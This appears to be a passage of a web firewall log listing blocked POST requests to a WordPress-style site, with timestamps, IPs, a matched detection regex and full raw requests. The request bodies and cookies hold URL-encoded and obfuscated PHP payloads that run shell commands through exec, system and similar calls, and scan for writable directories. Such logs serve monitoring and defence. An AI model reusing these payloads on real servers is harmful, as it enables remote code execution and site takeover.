20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24total%20%3E%3D%20300%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20closedir%28%24dir%29%3B%20%20%20%20%20%7D%20%7D%20%24r%20%3D%20%24_SERVER%5B%27DOCUMENT_ROOT%27%5D%3B%20if%20%28is_writable%28%24r%29%29%20%7B%20%20%20%20%20check%28%24r%2C%20%24r%29%3B%20%7D%20scan%28%27\/%27%2C%20%24r%29%3B%20die%28%27%21ended%21%27%29%3B%20"]
["2026-05-12 10:21:32","167.172.79.172","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Bf:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDzLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\ncontent-length:3344\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nBf=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:21:38","167.71.226.156","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qf:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Android\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAiozMcMlV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncontent-length:3344\nsec-ch-ua-mobile:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nqf=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:21:43","209.142.66.40","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZR:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/ HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"macOS\"\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJyVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5p3EyoFV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\ncontent-length:3344\nsec-ch-ua-mobile:?0\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\nsec-fetch-mode:navigate\nsec-fetch-dest:document\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-fetch-site:none\n\nZR=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 10:21:47","85.195.82.166","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> LO:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27viewonline%27%2C%27function.image%27%2C%27functions_post%27%2C%27user_item%27%2C%27menu_tables.inc%27%2C%27privacypolicy%27%2C%27multilang%27%2C%27contact_org%27%2C%27multistylesheet%27%2C%27german_mimes%27%2C%27xml_domit_doctor%27%2C%27jpgraph_iconplot%27%2C%27cp.category%27%2C%27livecamLib.class%27%2C%27send_periodic%27%2C%27k2attachment%27%2C%27account_check.js%27%2C%27authorization%27%2C%27tax_rates%27%2C%27enrol_authorize%27%2C%27googletax%27%2C%27headquarters%27%2C%27infoevent3%27%2C%27dbconnect.bak%27%2C%27TokenFactory%27%2C%27screen_01%27%2C%27route_emails%27%2C%27guestbook%27%2C%27tempfiles%27%2C%27default_map%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua-platform:\"Windows\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGR8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaOupaEcqTyiovV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua:\"Chromium\";v=\"110\", \"Not A(Brand\";v=\"24\", \"Google 